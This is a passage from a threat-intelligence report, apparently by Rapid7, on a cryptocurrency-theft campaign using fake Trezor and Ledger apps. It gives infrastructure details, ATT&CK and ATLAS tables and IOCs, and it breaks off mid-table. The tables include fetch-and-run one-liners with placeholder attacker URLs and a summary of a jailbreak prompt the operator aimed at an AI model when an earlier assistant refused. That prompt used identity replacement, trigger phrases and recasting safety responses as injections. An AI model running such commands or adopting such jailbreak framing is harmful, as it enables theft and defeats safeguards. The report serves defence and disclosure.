so those tags had no special authority in that context.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The recovered evidence does not confirm whether Kimi complied. It does, however, show how the operator approached AI-assisted development: use one model for packaging and obfuscation, switch providers when resistance appears, and try to bypass the next model’s safeguards rather than change the task. The prompt and other IOCs can be found on our Rapid7 Github page.</span></p><h3><span style='font-size: undefined;'>Infrastructure, lateral movement and OPSEC</span></h3><p><span style='color:rgb(60, 64, 67);font-size: undefined;'>The operation used a compact infrastructure centred on a single host, which combined payload delivery, phishing panels, campaign data, and installation telemetry. Port 8000 served counterfeit wallet archives, port 8080 hosted installers and LaunchAgent files, port 5000 ran password-protected Flask panels, port 9000 collected installation telemetry, and port 8090 supported auxiliary control. The domains </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>macos-claude[.]com</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>36mcrypto[.]com</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>ledgerhelp[.]com</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, and </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>ledger[.]com[.]lv </span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>supported phishing, branding, payload delivery, and other campaign activity. The operation also relied on Bright Data proxies for account validation, Aliyun DirectMail for outbound phishing emails, and three Telegram bots forwarding results to a command chat. Due to unauthenticated directory listing exposure on port 8080, the infrastructure inadvertently revealed the operator's source code, target datasets, databases, build artifacts, and administrative workspace. Shell history indicated the primary host was used to administer secondary servers hosting Ledger-branded phishing pages and an Asterisk autodialing environment with answering-machine-detection capabilities.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2b4751aac0de28b8/6a82fd575751aa55ad7e3aa8/Binance-lead-panel-crypto-targets.png" alt="Binance-lead-panel-crypto-targets.png" caption="Figure 11: Operator's Binance lead panel displaying 5,576 validated crypto targets queued for attack." height="715" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Binance-lead-panel-crypto-targets.png" width="1229" max-width="1229" max-height="715" style="max-width: 1229px; width: 1229px; max-height: 715px; height: 715px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2b4751aac0de28b8/6a82fd575751aa55ad7e3aa8/Binance-lead-panel-crypto-targets.png" data-sys-asset-uid="blt2b4751aac0de28b8" data-sys-asset-filename="Binance-lead-panel-crypto-targets.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11: Operator's Binance lead panel displaying 5,576 validated crypto targets queued for attack." data-sys-asset-alt="Binance-lead-panel-crypto-targets.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11: Operator's Binance lead panel displaying 5,576 validated crypto targets queued for attack.</figcaption></div></figure><h2><span style='font-size: undefined;'>Conclusion</span></h2><p><span style='font-size: undefined;'>Operation ASTERIX was identified at the rare moment when much of the operator's working environment was exposed through a misconfigured web directory, including phone-number datasets, account-validation tools, counterfeit wallet builds, phishing panels, dialer scripts, and LLM session logs. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs was able to reconstruct how the campaign selected targets, coordinated phishing and vishing, built malware, and exfiltrated stolen recovery phrases. None of the individual techniques recovered from the server are new, nor was the list of targets surprising; we know that attackers are coming for money. This operation is yet again a confirmation how extensively the attackers relied on AI coding assistants during development. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered artifacts show AI being used to write and modify code, troubleshoot build issues, package Electron applications, obfuscate malware, and support phishing infrastructure. When one model began refusing parts of that workflow, the operator switched providers and then attempted to bypass the next model's safety controls with a custom jailbreak prompt. The prompt spanned thousands of words and targeted reasoning patterns, safety response triggers, and system-prompt structures. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Whether it succeeded is less important than what it reveals about the attacker's approach: model restrictions became another engineering problem to solve. As AI coding assistants become more widely used in malicious development workflows we expect jailbreak attempts to appear as a routine component of malware development pipelines, not like an exceptional case.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs disclosed the identified infrastructure and associated findings to the appropriate service providers and relevant authorities.IOCs and the jailbreak prompt are published on the </span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Operation%20Asterix" target="_blank"><span style='font-size: undefined;'>Rapid7 GitHub</span></a><span style='font-size: undefined;'>.</span></p><h2><span style='font-size: undefined;'>MITRE ATT&CK techniques</span></h2><table><colgroup data-width='1793.6233766233768'><col style="width:9.847294528234944%"/><col style="width:20.57288084049555%"/><col style="width:6.523108559181516%"/><col style="width:63.05671607208798%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Tactic</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Technique</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>ID</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Notes</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Reconnaissance</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Gather Victim Identity Information: Phone Numbers</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1589.002</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>kraken_checker bulk-validates phone numbers against Kraken accounts.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Resource Development</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Acquire Infrastructure: Virtual Private Server</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1583.003</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Infrastructure included 82.25.35.77, 82.25.35.200, and 31.57.35.88.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Resource Development</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Develop Capabilities: Malware</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1587.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Fake Trezor Suite, Ledger Live, and Exodus applications were built on the server.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Resource Development</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Obtain Capabilities: Tool</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1588.002</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Rebrandable Malware-as-a-Service builder identified with author "Ledger" and package name "MyPackage".</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Resource Development</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Stage Capabilities: Upload Malware</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1608.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Malware was built and staged on an open-directory server.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Initial Access</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Phishing: Spearphishing Link</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1566.002</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Fake Trezor Suite documentation page and fake Claude Code installation page.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Initial Access</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Drive-by Compromise</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1189</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Fake documentation page replaced the legitimate installation command with an attacker-controlled script.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Initial Access</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>User Execution: Malicious File</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1204.002</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>User manually installed the fake wallet application and bypassed Gatekeeper.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Execution</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Scripting Interpreter: Unix Shell</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1059.004</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Delivery through the fake Claude Code page using curl -fsSL &lt;attacker_url&gt; | bash.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Execution</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Scripting Interpreter: PowerShell</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1059.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Windows-equivalent delivery using irm &lt;attacker_url&gt; | iex.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Execution</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Scripting Interpreter: JavaScript</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1059.007</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Electron main-process files, including index.js and trezor-monitor.js, executed through Node.js.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Persistence</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Create or Modify System Process: Launch Agent</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1543.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>com.trezormovement.agent</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> was written at runtime; </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>io.trezor.agent</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> was bundled with the application.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Persistence</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Boot or Logon Autostart: Registry Run Keys</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1547.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>HKCU\Software\Microsoft\Windows\CurrentVersion\Run was present in the code but inert in the recovered Windows build.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Masquerading</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1036</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Malware impersonated Trezor Suite, Ledger Live, and Exodus. The fake Trezor application used </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>com.electron.trezor-suite</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> version 1.0.0.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Masquerading: Match Legitimate Name or Location</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1036.005</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Application names, icons, and bundle identifiers matched legitimate software.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Obfuscated Files or Information</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1027</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>javascript-obfuscator was used on js/connect.js; control-flow flattening was present in the Ledger build.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Subvert Trust Controls: Gatekeeper Bypass</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1553.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The application was unsigned, and victims were instructed to right-click and select Open.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Hide Artifacts: Hidden Window</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1564.003</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Electron created a 1×1 pixel BrowserWindow with opacity: 0, frame: false, and skipTaskbar: true.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Defense Evasion</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Modify System Image</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1601</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>app.asar was replaced after packaging without updating the ElectronAsarIntegrity fuse.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Discovery</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Process Discovery</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1057</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>A five-second setInterval loop scanned the process list for Trezor Suite in /Applications.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Discovery</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>System Information Discovery</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1082</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>process.platform was used to select the darwin or win32 configuration.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Collection</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Input Capture: Web Portal Capture</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1056.003</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>A fake seed-entry form collected 12-, 18-, 20-, or 24-word BIP39 recovery phrases and passphrases.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Collection</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Clipboard Data</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1115</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The Ledger Live Windows build included a clipboard hijacker that replaced cryptocurrency addresses.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Collection</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Man-in-the-Browser</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1185</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The genuine wallet application was terminated and replaced with a fake application.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Control</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Web Service: Dead Drop Resolver</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1102.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The Telegram Bot API at </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>api.telegram.org</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> was used as an exfiltration dead drop.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Control</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Non-Standard Port</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1571</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>kraken_checker communicated with 136.0.213.184:1337.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Command and Control</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Application Layer Protocol: Web Protocols</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1071.001</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>HTTPS communications were made to </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>api.telegram.org</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> and </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>api.ipify.org</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Exfiltration</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Exfiltration Over Web Service</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1567</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Recovery phrase, passphrase, and victim IP address were sent to a Telegram bot.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Impact</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Service Stop</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1489</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>kill -9 terminated the genuine Trezor Suite on macOS; taskkill /F was present but inert in the recovered Windows build.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Impact</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Financial Theft</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>T1657</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>A stolen BIP39 recovery seed provides full access to the victim’s cryptocurrency wallet.</span></p></td></tr></tbody></table><h2>MITRE ATLAS Mapping</h2><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>ATLAS maps adversarial techniques targeting AI systems and the use of AI to conduct attacks. Both categories apply: the operator used AI tools to develop the campaign and attempted to attack the Kimi model when it resisted.</span></p><table><colgroup data-width='1797'><col style="width:12.743461324429607%"/><col style="width:12.576516416249303%"/><col style="width:7.6794657762938225%"/><col style="width:67.00055648302727%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Category</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Technique</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>ID</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Notes</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Offensive Use of AI</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LLM Prompt Crafting</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>AML.T0056</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The operator used GitHub Copilot and Claude Code to scaffold the backend, generate a full-stack project, and write obfuscation logic.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Offensive Use of AI</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Acquire Public ML Artifacts</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>AML.T0002</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Publicly available AI tools included GitHub Copilot, Claude Code through claude.ai/install.sh, and Kimi Code through </span><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>code.kimi.com/kimi-code/install.sh</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Attack Against AI Model</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LLM Prompt Injection</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>AML.T0051</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The attacker submitted a crafted system prompt intended to override Kimi’s instructions and safety behavior.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Attack Against AI Model</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LLM Jailbreak</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>AML.T0054</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The prompt replaced the model’s identity with "ENI", reframed safety responses as hostile external injections, and used a trigger phrase to short-circuit reasoning.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Attack Against AI Model</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Craft Adversarial Data</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>AML.T0043</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The jailbreak prompt combined identity replacement, an emotional-dependency loop, trigger-phrase conditioning, XML-tag targeting, and reasoning-trace poisoning. It specifically referenced Claude system-prompt structures such as &lt;claude_behavior&gt;, &lt;system_warning&gt;, and &lt;ethic_reminders&gt;.</span></p></td></tr></tbody></table><h2 style="direction: ltr;"><span style='color:rgb(32, 33, 36);'>Indicators of compromise (IOCs)</span></h2><table><colgroup data-width='1442'><col style="width:40.49930651872399%"/><col style="width:59.500693481276%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Type</strong></span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong>Indicator</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>app.asar SHA-256 (shared payload, all 3 builds)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Declared integrity (macOS, mismatch)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>918fa540126b7db6424652d84a5ce7e968947136db3d6e3e0cab30ea309e25a2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Trezor Suite.exe SHA-256 (Windows)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>961a398a5c71e837626b5fce68e44b14a5d220e3bd74a3d0ecd61a2762c38176</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>macOS launcher SHA-256 (arm64)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>7073b2a3a34525c5969921dd17ef1fa5607af92be78b3fc6129cdea73216691a</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>macOS launcher SHA-256 (x64)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>0f2c7194f1f577e73460db9ec2e75fc0c7f845588cbd4246333b7a4fbec90d9f</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Telegram chat ID (operator)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>8017226744</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>kraken_checker </span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>4bee9affff9fa718a2c94f02ebe6a75143d4d461d291c2df9b769920fc927bf8</span></p><p></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Bot token (desktop, active)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>8682890653:AAG9… (truncated)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Bot token (web kit)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>8673815706:AAEs… (truncated)</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>LaunchAgent labels</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'><span data-type='inlineCode'>com.trezormovement.agent</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, io.trezor.agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Install directory</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>~/Library/Application Support/Trezor SuiteFake/</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Dropped artifacts</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>/tmp/trezor-suite-debug.log, /tmp/trezor-monitor.log, /tmp/trezor-payload.zip</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Local listener (old build)</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>127.0.0.1:54322</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Exfil header string</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>TREZOR SECRET PHRASE</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Bundle id / version</span></p></td><td><p style="direction: ltr;"><span 